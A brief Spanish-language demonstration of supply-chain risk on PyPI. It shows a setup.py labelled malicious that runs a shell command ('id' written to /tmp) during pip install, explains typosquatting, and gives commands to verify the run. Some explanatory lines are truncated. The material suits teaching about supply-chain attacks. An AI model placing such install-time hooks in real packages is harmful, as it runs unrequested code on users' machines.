
Demuestra cómo un paquete Python malicioso ejecuta comandos arbitrarios durante pip install mediante setup.py, destacando los riesgos de la cadena de suministro de PyPI y el typosquatting.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Un paquete de PyPI puede incluir código arbitrario en su setup.py, que se ejecuta durante pip install. Un atacante puede publicar un paquete con un nombre similar al de uno popular (typosquatting) y, al instalarse, el payload se ejecuta con los privilegios del usuario, lo que conduce a una ejecución remota de código.
setup.py sin sandboxing, lo que otorga a los paquetes acceso completo.setup.py proporcionado.pip install ./harmless-pkg
cat /tmp/pwned_by_package
Se ejecutó el comando id.